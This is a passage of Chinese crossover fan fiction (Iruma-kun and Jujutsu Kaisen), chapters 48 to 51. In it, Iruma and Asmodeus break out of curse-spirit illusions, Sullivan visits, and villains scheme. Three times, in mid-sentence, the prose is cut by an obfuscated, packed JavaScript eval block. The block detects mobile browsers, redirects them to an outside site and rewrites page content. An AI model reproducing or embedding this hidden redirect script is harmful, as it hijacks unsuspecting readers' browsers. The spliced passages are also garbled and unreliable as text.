阿斯莫德迷茫了片刻,又摇摇头,不对,他除了呆在魔界,还能去哪里? 真是莫名其妙的念头。 加班……加班…… 对,他现在已经从巴比鲁斯毕业了,接替了母亲大人成为新的“十三冠”中的色首。 而现在的魔王,是他追随着的铃木入间大人,作为魔王候选人的孙子,入间大人参与了“TS计划”,并且打败一众候选人成为了魔界的新王。 而他作为追随者,也是入间大人的肱骨之臣。 “那么,感谢款待,我先走了。”阿斯莫德起身,对着母亲大人微微欠身,然后赶回了魔王的宫殿。 “魔王大人,事情已经解决啦!”阿斯莫德手刚放在门边,就听到熟悉的声音在闹哄哄地乱叫,“所以……陪我玩陪我玩!” 几乎不需要判断,阿斯莫德当即推门而入,发出严厉的警告:“克拉拉,现在入间大人是魔王,不要这样纠缠他!太失礼了!” 但是如果能够听进去劝告,克拉拉就不是被称之为“珍兽”的克拉拉了:“阿兹阿兹!好久不见!一起来玩啊!” “再说一遍,你这样非常失礼!” “哼哼,阿兹阿兹,嫉妒是不对的。” “哈?我会嫉妒你?” 而本应该坐在王位上的人忽然起身,兴奋地抱着他:“阿兹君,好久不见!假期过得怎么样?多亏了你,……才能得到解决……” “太好了,没有阿兹君,我该怎么办啊?” 入间大人,居然会说这样的话吗? 这样的念头在心里一闪而过,又被阿斯莫德很快掐灭,他朝着入间行礼,微笑着说:“这都是在下作为您的左右手应该做的。” “阿兹阿兹,狡猾!”克拉拉又开始叫嚷,“这么有礼貌,偷跑!狡猾!” “明明是你太蠢了吧?入间大人身边有一个你就已经够麻烦了!” “阿兹阿兹,嘴巴坏!” 眼看着一言不合又是一场双输的争吵,入间连忙介入他们之间,转移话题:“说起来,大家最近提起来,要一起吃顿饭,毕业之后也确实不能像之前那样朝夕相处了。我还挺怀念之前的日子的……你们要去吗?” “当然!” “毋庸置疑!” 两个人立刻分开,像是在学校里那样一人占据入间身边的一个位置,这一刻他们不是魔王入间最得力的下属,只是曾经没有任何地位之分的朋友。 48.我不做人啦! 陷入截然不同幻境的两人,也陷入了同样的挣扎中。 “入间,蛋糕好吃吗?” 半地下室的幻境内,男人和女人低声商量了什么,然后低下头,问着小口抿着纸板上蛋糕的孩子,因为背对着手电筒的光源,投下的阴影刚好裹住浑然不觉的入间,像是某些悄无声息的恶意。 “嗯,好吃!” “唉,只有这么一个小蛋糕,爸爸妈妈也不想的。”看着他的笑脸,男人忽然叹了口气,摸了摸他的头,“要是爸爸妈妈有钱就好了。” 听到这种感叹,入间几乎是本能地停顿了一下。但是在父母面前,他还是选择忽略掉心里涌现的、越来越深的不安,甜蜜而迟钝地冲着父母微笑:“没关系的,我们一家人,在一起,很幸福!” 所以,不要因为贫穷自责,我很爱你们。 如果一家人能够生活在一起,没有钱也没关系,很辛苦也没关系。 但是入间听到身后的自己发出了一声冷笑。 那个被分裂出来的孩子,一直阴魂不散地尾随着他,但是始终一言不发。现在终于开口,却是带着对自己的否定。 “才不是这样。”另一个自己说。 “才不是这样。”他回答。 仿佛有什么尽在不言中。 才不是这样呢…… “不可以这样的!”他神情严肃地告诉另一个自己,“爸爸妈妈以及该很辛苦了,就像广告上说的,父母不是自己想要贫穷的,作为孩子我们应该体谅!不可以伤他们的心!” 说来讽刺,对于年幼的入间来说,学习的来源是工作,从包装等一切带有文字的货品上汲取知识,囫囵吞枣记住文字的形状所代表的含义。 而巩固成果的办法是看广告这些一切可以阅读的东西:哪里有什么蛋糕店开业、凌晨可以在垃圾桶旁找过了赏味期的蛋糕,或者超市面临人手紧缺的情况,一般来说有概率对雇佣毛遂自荐的便宜童工这种事睁一只眼闭一只眼……都能帮他在没有双亲照料的日子里努力生存。 当然,他也坚信着作为一个好孩子迟早可以得到命运的奖赏,比如说哪天爸爸妈妈终于结束了四处漂泊的日子,回到自己的身边,那么就像故事里说的那样,他会变成一个幸福快乐的孩子。 至于对他来说幸福快乐这个遥远的概念代表的是什么,他能想到的,就是不会饿肚子。 “骗子。”另一个他吐出了这样一个词,像是在说他,又像是在评价站在他身后的父母。 “不是骗子!”他有些着急地握紧手,没有双亲撑腰保护的生活里,为了自保培养出的顺从,让他即使是遇到了什么恶意,也产生不出什么强烈的反抗情绪,即使急成这样,也只能摇头,“爸爸妈妈,辛苦!” 却不知道是在说服谁。 另一个他默默反问:“他们真的辛苦吗?或者说他们真的爱你吗?” 入间从自己的枕头里面抽出一张张从垃圾箱报纸里撕下来的报道,像是试图告诉另一个自己,又像是在说服他本身:“爱的爱的!父母爱自己的孩子!” 不爱,不会把孩子生下来,这么多父母都愿意为了孩子献出生命,这难道还不足以证明吗? 另一个入间只是默默地看着他,并不说话。 不知道为什么,入间从他的眼睛里看到了怜悯。 那是一种冰冷的、无机质的眼神,像是看到了什么自己颇为喜爱,却不得不放弃的东西。 入间被这样的视线盯着,不知道为什么有种在睡梦中踏空的恐惧。那种……即将要失去什么的预感…… 他默默后退了一步,转过身,不知道是愤怒还是恐惧,总之,他不想跟这个自己说话。 他的蛋糕还没吃完……对的,他还有蛋糕……入间自我说服,今天要过生日呢,还是爸爸妈妈陪着自己一起过的生日,不要做一些让自己不开心的事情。 逃避的念头占据上风,入间调整好自己的表情,开开心心回到了父母的身边。 只是,当他重新坐下的时候,本来放在原地的、那块小小的蛋糕也已经不见了踪影。 纸板上,只残留着奶油的甜香,那小心翼翼的、不可多得的食物,去哪里了呢? “对不起啊,入间。”女人双手合十,用一种很抱歉的语气,对着他道歉,“妈妈呢,是大人,所以即使是吃了饭团也很饿,所以忍不住吃掉了。” 而男人也凑了过来:“入间啊,爸爸妈妈很辛苦,对不对?所以,你攒下来的钱,能不能交给爸爸?拜托你啦!” 他们在手电筒之下也显得黯淡的影子逐渐重叠,如同更深的黑暗逐渐包围了入间。 而自己辛苦打工节省下来准备用作生活费的那笔钱,已经被握在了男人的手里,像随风飘摇的一棵小草。 “好……好……好啊!” 入间浑身都在颤抖,但是脸已经在听到“拜托”之后,重新微笑起来,喉管习惯性发出了音节。 “爸爸妈妈需要的话,真是……太好啦!” 又是这样……又是……这样…… 身体就像已经不是自己的了一样,不管怎么样都没办法挣扎。 “入间,你真是个好孩子啊!”阴影越来越浓重,入间完全看不清那两人的面孔,“那么,你可以代替爸爸妈妈,去做这份工作吗?就算是为了你新的弟弟妹妹,也原谅我们、做出牺牲吧……” “好……h……” 不,一点都不好—— 在产生这个念头的时候,一股强烈的吸力将入间的意识攫取到了冷冷站着的、另一个自己的身体里。 在另一个自己的身体里,他忽然能够行动了!眼泪不由自主地模糊了视线,温热的液体冲刷着脸。他张着嘴,大口呼吸,却在听到了剧烈到喘不过气的哭泣,过了好一会儿他才意识到,这是自己嚎啕的声音 那个天使这样的孩子微笑着看着父母,满足父母提出的所有要求,而身边号啕大哭的孩子有着和他一模一样的面孔,只是他在愤怒、在不满,在哭闹,踢蹬着腿发出反抗的声音。 不应该、不应该是这样的! 他已经很久没吃任何东西了,野菜也没有那么好挖,吃下不知道有没有毒的草身体会很难受。肚子很饿,很想吃甜的东西,想睡在温暖的地方,在餐厅干活遇到客人迁怒导致浑身湿漉漉的也很冷很累,不想……不想腆着脸四处推销自己很能干,吃了闭门羹也会很难受。 新生命被这样的家庭带到世界上,真是太不幸了,不要生别的孩子,不要让这个孩子承受同样的苦难…… 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894443|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不要…… 他也不要当一个予取予求的“乖孩子”,好像能做的只是微笑着、把自己的一切奉献出去满足别人的要求,仿佛自己也只是一盘等待继续盘剥的饕餮盛宴。 不应该……不应该…… 好讨厌…… 他明明……他明明已经从这样的家庭里脱离出来了! 他已经离开这里了,在房东太太突发疾病被生活在大城市的儿女接走养病之后,因为抱着不再让母亲回来的想法,那里也顺便被低价卖了出去。 而他,也已经被父母卖给了一个大恶魔…… 对,后来这位恶魔成为了自己的爷爷,爷爷会送他上学,为他的成长留念,他不再饿肚子了。 他有另一个家……他拥有了虽然经常出现意外,但是已经截然不同的丰富多彩的人生…… 他已经十七岁了。 强烈的情绪起伏席卷了小小的房间,伴随着反抗情绪的加重,入间的体型也在长大,原本在幻境中销声匿迹的恶食戒指从另一个自我的身体里抽离出来,重新盘踞在入间的手指上。 里面的艾利先生探出头,啧啧赞叹:“不错嘛,入间小弟,在幻境里能够清醒过来。” “也要谢谢艾利先生,愿意帮我塑造第二具身体。”不然就冲着幻境中这个蒙蔽记忆的特点,按照入间的性格十有八九还是会走向虽然难受但还是要无条件答应父母要求的老路。 大概也是感觉到了“参演主角”的逐渐清醒,周遭的幻境都开始扭曲,铃木夫妇化作一道黑烟,融入了之前他所呆着的那具身体里。 “你醒过来,又能怎么样呢?”那个小小的他不再掩饰自己,发出尖声尖气的叫声,“你终究只是人类,人类在魔界就只是食物,你终究会生活得如履薄冰,别忘了,恶魔候选人有三个,你亲爱的爷爷只是孤身一人……” “你,终究会拖爷爷下水,给他制造不幸,我期待着他因为因为收养了你而后悔的一天!” “就算没有这一天又怎样?他只是需要一个孙子,如果有更合适的人,你会被换掉——还有你的的好友们,真的能够接受自己有一个人类朋友吗?你的血、你的肉,对他们来说都是补品——” “……无所谓!”入间确实因为这样的构想而感到恐惧,连回应都带着一点不明显的颤抖,但是这并不妨碍他拉弓搭箭,打破面前的幻觉,“那又能怎么样?大不了出去之后,我就跟阿兹君坦白!” “童话总不能空穴来风,我迟早能找到从人类变成恶魔的方法!”入间深吸一口气,大声给自己加油打气,“反正人类世界也没有我留恋的东西了,变成恶魔,有何不可呢?” 为了防止幻境破灭得不够彻底,入间特意把魔力得输出调整到最大,阴影在“滋滋啦啦”的炙烤声中被一点点消灭殆尽。 远远的,他看到了朝着自己挥手的阿斯莫德。 “入间大人,您还好吗?”阿斯莫德飞快冲了过来,面带担忧地扶住他,“让您受到这样大的伤害,我真是……如果让我找到那个咒灵的分身……” “那我……真该感谢他啊……”就在此时,异变陡生,一把短刀没入身体,原本阿斯莫德脸上担忧的表情变成了充斥着悲哀和不解的怅惘和微不可察的贪婪,“恶魔怎么能够追随人类呢?入间大人。” 49.心动的信号 “原来你也不过如此。” 正准备抽回手,“阿斯莫德”却发现自己被强行控制住,紧紧抓住他、不让他逃脱的入间也笑了起来:“总算抓住你了,你这个……嘶……苦心孤诣制造陷阱的骗子咒灵。” “你……”“阿斯莫德”惊愕低头,发现自己的刀没能正中要害,而是在早有准备的控制下偏移了几分,虽然严重,但是并不致命。 “阿兹君,才不是会做出这种事情的人。”入间因为牵动伤口,连带着表情也因为疼痛而扭曲了一下,“而你,也没有那么容易被祓除。” 在打败了幼年体的自己之后,即使阴影退却,入间疯狂警告逃离的第六感也还是没有作罢,从那一刻开始,入间就已经隐约有所猜测。 而伪装成阿斯莫德的咒灵,肢体动作也真的非常浮夸,浮夸到了入间不忍直视的程度。 几乎是瞬间,入间就能确定,这绝对不是阿兹君。 不过,按照这个强度,哪里是一级咒灵,起码也得是特级吧?还是说,其实他还是很弱吗? “总之,你的演技,真的很差。” 知道自己以目前的样子不足以解决这只咒灵,入间干脆放手一搏,转动恶食戒指,释放了艾利先生曾经出于让他自保目的进行教学的咒语:“change loki(恶戏)。” 庞大的、恶魔的幻影出现在了入间身后,那看不清面目的恶魔指引着入间,用魔力将身体进行转化,巨大的翅膀撕裂了虚幻的幕布,边缘处密布着黑亮的羽毛,近乎恐怖的力量将被牢牢锁定、神色惶恐的咒灵搅碎,一切风平浪静。 在这样不可阻挡的漩涡中,灾厄之书光芒大盛,一个高瘦的身影出现在了入间身边,看了一眼正张牙舞爪的恶魔幻影,叹了口气,接住了昏迷的入间。 “爷、爷爷……”入间感应到了熟悉的气息,吃力地撑开眼皮,喃喃道,“你……来啦?” “是的,我来了。”完全体的九阶大恶魔沙利文摸了摸入间的呆毛,露出了欣慰的笑意:“入间,来到异世界之后,也有在好好成长呢。” “嗯……”入间小声问道,“我变成恶魔的话,爷爷会高兴吗?” “……会吧?”沙利文愣了一下,表情慈爱,“如果入间能感觉到幸福的话。” · 不对劲,太不对劲了。 阿斯莫德看着眼前的一切,内心的违和感越来越强烈。 入间大人当上了魔王,同学们成为了魔王身边团结的下属,大家即使见面也没有受到任何地位的影响,见面还会调侃他简直是魔王忠犬。克拉拉也没有长时间占据入间大人的时间,他的地位无可动摇…… 这不是他梦寐以求的未来吗?为什么会这样难受?到底是哪里出现了问题? 难道还能是因为太圆满吗? “……啊……果然恶魔都是贪婪的吧?” 阿斯莫德难得抛弃形象地把面前摊开的书按在自己脸上,深深吐了口气。 这种无处不在的违和感,到底是什么原因呢? 正发着呆,书房连接的魔王的工作室被推开,来人脚步轻快,一根活泼的呆毛正灵活转动。新任魔王入间抱着一堆沉重的文件,来到他面前,“阿兹君,新的文件处理,也拜托你啦!” “好的!”阿斯莫德忙不迭接过入间派遣的任务,却在伸手的时候,脸色一滞,似乎隐约感觉到了冰冷的疼痛。 就像是……有什么锐器扎进了自己的身体。 “阿兹君,怎么了?”魔王入间凑近了,表情关切,似乎想要察看阿斯莫德的身体出现了什么问题,“是因为最近我太麻烦你了吗?需要休息吗?” 阿斯莫德不知道为什么下意识后退,心因为过分靠近的距离疯狂乱跳,但是为了防止入间大人多想,立刻摇头:“不……为您服务是我的荣幸……” “一定要保证身体啊,没有阿兹君,那我真的是知道要怎么办才好了呢。”魔王入间如释重负地松了口气,轻车熟路从阿斯莫德身边搬出来一把椅子,“那我就坐在阿兹君身边休息啦。” “好、好的……” 天气不错,魔王入间趴在书桌旁百无聊赖,阿斯莫德从堆积成山的工作文件中拿下一封信函:“这封请求……是凯洛莉发来的,最近恶抖露人手紧缺,为了防止恶周期的恶魔们因为暴躁的情绪导致出现混乱,对社会秩序造成影响,所以希望和她同等水平的恶抖露‘伊露米’能够重新出山,帮忙分担……” 所谓的同等水平恶抖露“伊露米”,自然是女装的入间大人。 意料之中的请求,入间大人很难拒绝这种帮助别人的事情。作为带有秘书性质、负责包揽魔王一切事项的侍从官,阿斯莫德等着入间大人的点头,然后他会为了入间大人准备一切事宜…… “还是不要了吧?” “什么?”阿斯莫德愕然转头,似乎想确定自己的耳朵是不是出现了什么问题,“您的意思是……” 拒绝……吗? “是的,还是不去了。”魔王入间笑着说道,“阿兹君出差太久了,我很想你,所以,还是不去了吧。你难道不希望我们独处的时间更长一点吗?” “如果我希望入间大人参加的话……” “那我就会去的,因为,这是阿兹君想要的嘛!” “这样啊……”阿斯莫德重复了一遍,“原来,是这样啊……” “入间大人,我对你来说很重要吗?比克拉拉还重要吗?” “是的,阿兹君是无可替代的。” “谢谢你。”阿斯莫德看着面前的人,最后一次轻声细语地进行感谢,“听到这句话就够了,不是也没关系。” “阿兹……” “现在可以闭嘴了,冒牌货。” 魔王入间似乎想说什么,却被阿斯莫德用手边的钢笔抵住嘴唇打断,和平静的表情不同的是汹涌的魔力。伴随着魔力几近失控,阿斯莫德的恶周期也迅速席卷而来。 绑着长发的缎带碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901437|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成几段,阿斯莫德的眼睛呈现出一种蛇一般的竖瞳,冰冷而毫无感情地盯着这个表情茫然的青年。 “原来是这样……”阿斯莫德喃喃,“原来是……这样……” 这里毋庸置疑是一个幻境,对他来说,还是挖掘内心不可告人想法的幻境。 他渴望追随入间大人登上魔王的位置,也同样对于入间大人有着不能为外人所道的占有欲。这份占有欲被他不断压抑、隐藏,也正是因为察觉到了他这样的情绪,幕后的咒灵才会制造出配套的幻境。 他想起因为父亲而去了解的关于上一任魔王和他的侍从官,从魔王出现在世人面前,攻城略地开始,就一直追随着的人……为了魔王忠心耿耿、对他进行辅佐,成为魔王不可或缺的左膀右臂。 这样……这样紧密连接的情感,即使是死亡也无法在史书上分开他们的姓名……多么、多么美丽的…… 所以他也期待着被入间大人信赖、接纳,并且为入间大人做任何事、包揽其一切,从生活到工作。 但是…… “但是入间大人最闪耀的不是他的能力,而是永远愿意主动、愿意尝试和努力的精神啊!” 伴随着恶周期到来的是疯狂增长的实力,阿斯莫德带着白色手套的修长手指就这样撕开本就薄弱的幻想。 即使期待着能够包揽一切,可是如果真的将一切托付给他,自己只是个无所事事的开心的魔王,那就不是能够征服他的入间大人了。 这种虚假的、欲望构成的东西,才不会是他们的未来! “阿兹君!你还好吗?需不需要我来帮你!” 在四分五裂的幻境碎片里,真正的、入间的脸像是一隙天光,照亮了阿斯莫德。 呼啦啦的风吹动阿斯莫德的头发,不再是幻境中过腰的长度,而是披散在肩头,本来大肆破坏的动作伴随着入间的声音而定格,他直愣愣看着张开巨大的翅膀朝他飞来的那人。 少年背着光,在翅膀的衬托下显得格外娇小,即使背着光,阿斯莫德还是能够看到,伴随着笑容出现在入间大人脸上的,是一个浅浅的酒窝。 即使是大恶魔沙利文,在这样耀眼的光芒下,也被阿斯莫德完全忽视。 恶魔翅膀的美丽程度和大小,和本身的欲望息息相关。 入间大人,拥有着多么、多么美丽的翅膀,多么旺盛的欲望…… “噗通噗通——” 心跳得过快,恶周期带来的躁动加剧了萦绕在心头的感觉,阿斯莫德眼睛亮亮地看着入间,只需要看着这张脸,就能找回理智。 是的,这才是他想要的入间大人。 不是理想中的模板也没关系,他所喜爱的,是活生生的、站在自己面前的铃木入间,生机勃勃、温柔而贪婪,永远都在前进的路上,永远不缺乏独自面对困难的勇气。 甚至于入间不会成为魔王也没关系。 这是他的、他的入间大人。 无可替代的……入间大人。 50.我其实是人类 阿斯莫德就这么站在那里,双手张开、避也不避,迎接着他的入间大人。入间大概也没想到阿斯莫德完全没有闪开的意思,加上魔力确实消耗得差不多了,完全来不及反应,就这么直挺挺掉进了阿斯莫德的怀抱里。 劫后余生的两个少年对视一眼,笑出了声,干脆什么都顾不上,先浑身脏兮兮地抱在了一起。 入间是因为刀伤和恶魔翅膀撕裂了衣服,好在伤口已经被沙利文施术治愈,而阿斯莫德……理由有些好笑……没来得及受到什么伤害,除了因为灵魂纠缠在一起的原因感应到了入间受到的伤害,纯粹只是恶周期没能收住力气,以至于看起来相当狼狈。 这边他们激动拥抱、担心彼此,那边的沙利文清咳两声,站在一旁,莫名感觉自己有点多余。 听到爷爷的声音,入间立刻放开阿斯莫德,回到爷爷身边,有些不好意思地挠了挠头:“爷爷,好久不见,原来你真的来啦?” “毕竟我可爱的孙子入间遇到了危险嘛!”得到了孙子的关怀,沙利文的心情又重新愉快起来,凭借着一米九五的身高,像是拎小猫崽子一样把孩子提到自己的面前,蹭着入间的脸蛋,“爷爷好想你啊,亲爱的入间——” 后知后觉发现有长辈在,阿斯莫德稍微为自己的失礼尴尬了一下,在努力平复自己澎湃的心情之后,朝着沙利文行礼:“理事长大人,好久不见。” “阿斯莫德君,好久不见。” 打过招呼,入间现在有一大堆问题想问沙利文:“爷爷,您是怎么过来的?会不会对您造成伤害?我……您是要接我们回去吗?” 出于自己的责任心,入间觉得就这样贸然回到魔界,似乎不太好。 讨论到是否回去的问题,旁听的阿斯莫德愣了一下。是了,虽然独占入间大人的日子很快乐,但是他们还是要回到魔界的。 虽然思考的方向不同,两个人暂时不想回去的心态倒是达成了一致。 而沙利文只是戳了戳入间的呆毛,笑道:“没有那么快回去啦,虽然我也很思念入间,但是你们得至少达到位阶八,才能穿过两个世界的罅隙回到魔界。” “欸?!那岂不是要很久!” 说不定他作为人类的寿命走到了尽头,也不一定能达到位阶八。毕竟,位阶十是魔王,位阶九是作为魔王候选人的三杰,位阶八……直接和统治一方的十三冠并肩吗?做不到的吧! “不要慌,入间,会找到机会的。”沙利文没忍住,搓了搓入间因为紧张焦虑而疯狂摇晃的呆毛,“你相信爷爷吗?” “当然!”入间不假思索,虽然爷爷有时候确实掉线,但是在这方面确实从来没有出过岔子。 “我可是魔界三杰之一,只是从另一个世界穿越过来而已,不会对我造成太大的伤害。毕竟,我是通过入间的灾厄之书过来的,你看巴拉姆和卡鲁耶格卿都安然无恙,爷爷自然没事。” 入间:“!!!” 入间有些激动,自己,居然已经可以召唤出爷爷了吗?他拿出灾厄之书,翻来覆去,也没有找到爷爷的图鉴,不由得发出失望的声音:“爷爷,您是在安慰我的吧?” “爷爷怎么会骗人呢?”对于入间有点失望的反应,沙利文倒是兴致盎然,看起来颇有些坏心眼,“入间要好好猜嘛。” 然而入间翻来覆去检查一遍,最后还是不得不沮丧地承认自己找不出来,甚至于爷爷是否是自己召唤的都有待商榷了——灾厄之书的能量条,一点没有下降的意思,作为一个九阶大恶魔,总不能是爷爷自带口粮过来吧? “慢慢琢磨,不着急。”沙利文笑眯眯的,看起来就是慈眉善目的爷爷,完全想不到他有那么多“坏心眼”,“我也是通过这样一个强有力的结界,才能顺利过来的,在入间带着灾厄之书升级之前,爷爷能过来的次数不多。” 特级咒灵的领域,原本是为了针对入间和阿斯莫德的杀招,没想到足够强大的结界,作为不同世界的衔接点,完美承接了大恶魔的真身降临,倒是方便了沙利文在两个世界里穿梭。 他手指在空中画了什么,入间和阿斯莫德好好藏起来的、记录着恶魔位阶的徽章浮现在了半空中,原本的数字“5”,升级到了“6” 。 “之后你和魔界的沟通回信,还是会请卡鲁耶格卿继续帮忙传达,毕竟作为班主任,需要对班上的学生负责嘛。”沙利文用最温柔和蔼的语气讲出了什么对社畜和学生来说都是相当恐怖的东西,一张嘴就给人增加了新的工作量,就是说,卡鲁耶格不喜欢上司不是没有原因的,“他会帮你们提升八级一下位阶的,加油,入间,还有阿斯莫德君,希望你们早日回到魔界。” “爷爷,不管怎么说……这个要求,也太超过了……” 和咒术师的评定不同,如果说咒术师的评级是根据现有的能力进行考核评估,恶魔们的位阶在某种意义上就是能力的上限。在学校生活中获得优胜可以升阶,相当于强行提升经验条长度,即使在升阶之前经验条没有满格也没关系。 但是,现在……没有任何活动或者比赛的外力加持,这就意味着,每次都要经验条满格甚至溢出,才会有人来提升等级。 而正符合游戏性质的,等级越往上,需要的经验条,也就是魔力,只会越来越高。 入间……入间欲哭无泪。 “关于你们的穿越,大概和上一任魔王德尔奇拉的失踪有关。入间的恶食戒指是魔王遗留下来的东西……经过我的调查,他失踪前来过这个世界,所以……既然来了,你们除了提升自己的实力,让位阶升级之外,记得顺便调查关于魔王的线索。” 沙利文就这样轻描淡写地给两人扔下一个听起来就很艰难的任务,临了还要补充:“哦,对了,不仅我查到了魔王来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905683|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这里的痕迹,似乎某些暗地里的老鼠也盯上了这里,希望你们能够注意安全,期待你们的归来。” 入间:“!!!” 爷爷,不要再这么轻松地说一些很恐怖的话啦! “时间到了,我该回去喽。”沙利文摆摆手,“阿斯莫德君,你要跟我一起走吗?虽然入间因为恶食戒指而被迫滞留,但是你,是可以被带回去的。好歹你也是艾姆莉莉丝的孩子,带你回去不会有太大的困难,只是灵魂上有一点小问题而已,休养一段时间就能好起来。” “非常感谢您,但是,请容我拒绝。”阿斯莫德欠了欠身,然后坚定地看着沙利文的眼睛,“请您帮我向我的母亲表达歉意,如果追随入间大人的决心因为区区世界的间隔而动摇的话,那在下也不配成为入间大人的左右手和朋友了。” 退一万步来说,就算他还不明白自己对入间大人抱着什么样的感情,也很难抗拒和入间大人独处的诱惑。 入间大人就像光源一样吸引着那么多的恶魔,而他永远只能是其中跟随的一个。现在能够独处,没有其他人得打扰,对他来说甚至是奖赏性质。 沙利文用那双金色的眼睛不带任何感情地看了阿斯莫德一眼,然后重新露出微笑:“那么,期待你们的早日归来。” “爷爷,请等一等!”阿斯莫德感觉自己的手臂被用力抓紧,转头看去,入间正大声呼唤沙利文,“阿兹君……阿斯莫德君,他离开!” 沙利文有些无奈地叹了口气,像是拿入间完全没办法似的:“入间,确定吗?阿斯莫德君自己也是想留下的吧?” “可是……”入间皱着眉,犹犹豫豫,看向阿斯莫德,像是试图获得他的认同,“阿兹君,跟着爷爷离开会更好吧?” “这里太危险了,就算是冒险或试炼,那也不是阿兹君必须经历的,是我需要经历的。况且,阿兹君回去之后,我还可以再召唤你过来的,对吧?” 本来,也是他自己无意中召唤出来了阿兹君,在咒术界本身就充斥着危险,留下阿兹君的话,太自私了。 “不。”这是阿斯莫德的回答。 这大概是他第一次拒绝入间,所以愧疚得不敢看对方,语气却相当坚定:“我会留下的,入间大人。” “阿兹君还记得吗,我说过,等到时间合适,想告诉你们,关于我自己一直在隐瞒的秘密。” 入间深吸一口气,虽然这个时候说其实不是最合适的,但是…… “我,其实是人类来着。” 所以,让你作为恶魔,独自生活在异世界不同种族的人群里,太残忍了。 …… 本就支离破碎的咒灵领域被撕出一条白茫茫的口子,沙利文穿过了那条光隙,算是正式离开了。 伴随着咒灵的死亡,领域彻底消失,屋檐下的监控摄像头里,照出了入间的孑然一身。 51.归来的孩子 “居然失败了吗?”通过监控摄像头看到入间的出现,被称作“香织”的女人有点意外地挑眉,“还以为他会最先死掉呢。” 出于一种微妙的直觉,在发现有新的咒术师带着奇怪的术式出现的时候,香织立刻锁定了那个叫做“铃木入间”的学生,并且认为他会是干扰自己所筹备计划的最大威胁。 也因此,利用饭沼家小女儿的声音引诱他们踏入咒灵的幻境时,幻境中大部分的能量都用来压制入间的思想,再由奇里欧精心构造一个会令他沉浸在旧日的情景,让他不知挣扎,进行一遍又一遍的强迫性重复。 最后,他会迷失在幻境中,成为其养料。 结果,这一次的计划,却没能带走他。 是因为他的能力得到了提升、有所增长呢?还是……有什么出乎他们预想的意外? “这种一个接一个的意外,最烦人了。”香织喃喃,“还好,也带走了一个。反正只有他自己了,而我有足够的时间再次布局……” 奇里欧叹了口气,应和着香织表达对没能杀死入间的评价,语气中却没有什么沮丧的意思:“是啊,没能看到他绝望死去的表情,真是遗憾。” 因为对于咒术界的了解并不算十分透彻,所以奇里欧在来到异世界之后,几乎没思考太长时间,就接下了香织递过来的橄榄枝。 怀着同样的目标,还能提供各种各样的人类作为食物,性格相似……不管从哪个方面看,她都会是一个相当不错的合作者。 饭沼家圈套的失败,也有奇里欧参与的程度有限的原因,因为到来的时候计划已经相当完整,所以他也只能借着对于入间的了解提供那么一点信息。 这次的陷阱,他根本没有放在心上。如果让他来设计的话,那结局一定是一场惨烈至极的凶案现场,失去了一切的入间君坐在凌乱的废墟中,表情绝望,被他完完整整、一点一点地吞吃入腹。 这次也只能叫试水而已,抱着类似目的的人针对铃木入间进行试探性合作,双重意义上的试水。 饭沼家所参与的仪式里,即使是香织自己下场欺骗所有人,亲手培养出的咒灵、使用的咒具、设下的陷阱,对于幻境中的内容能掌握的依然有限。尤其是在幻境运转到后半段,随着对猎物加大咒力的压制,造成信号不稳定,以至于后续全然不得而知。 导致了即使是复盘,能够获得的信息也是相当有限。 在这种情况下,他根本没指望一击即中。 不过作为香织诚意的投名状,光是入间在幻境里看到父母之后的表情,就足够奇里欧慢慢品味了。 那种潜意识中不愿意接受、带着一点恐惧的表情…… “真是……越来越期待了……”奇里欧的眼神停留在视频中,虚焦的瞳孔像是透过这个看到了什么梦寐以求的画面,用一种病态的微笑感慨,“真想看到他完全失去希望、只能眼睁睁死去的样子啊。” “我理解并且欣赏你的艺术。”香织沉吟片刻,对奇里欧心心念念吃人并不多做评价,仿佛这些死去的人只是随处可见的圈养动物,而不是自己的同类,“所以,他就交给你了,我有另外的目标。如果你需要的话,我会给你提供最大限度的帮助。” “那些资源都可以成为你试探他的底牌,但是,希望你不至于因为艺术而让他顺利活下来。” “当然。” “那么,多谢了。”奇里欧和她碰杯,“关于你口中的另外目标,不知道我有什么能帮上忙的?” “如果有需要的话,会的。” 香织看着背后的各种势力交汇图,眼睛专注于“五条家”势力范围内的六眼,翻开自己新收到的消息薄,从里面翻出一张偷拍照,照片里的少年有着黑色的、略长的头发,和一双紫色的凤眼。 轻轻掂起那张照片,带着评估性质放在了六眼身旁,香织眯起了眼睛。 听说……因为这个少年的缘故,六眼似乎打算前往东京高专就读? 如果是真的的话……那真是太有意思了。 · 彻底离开咒灵的领域,入间梦游一般掏出手机,拨通了辅助监督的电话:“您好,是三浦学长吗?是的,我是铃木入间,事情已经解决了。” “你们还活着啊!”辅助监督接到入间的电话,一时间甚至不太敢相信自己的眼睛,“咳,我是说,你们顺利解决问题了啊?” 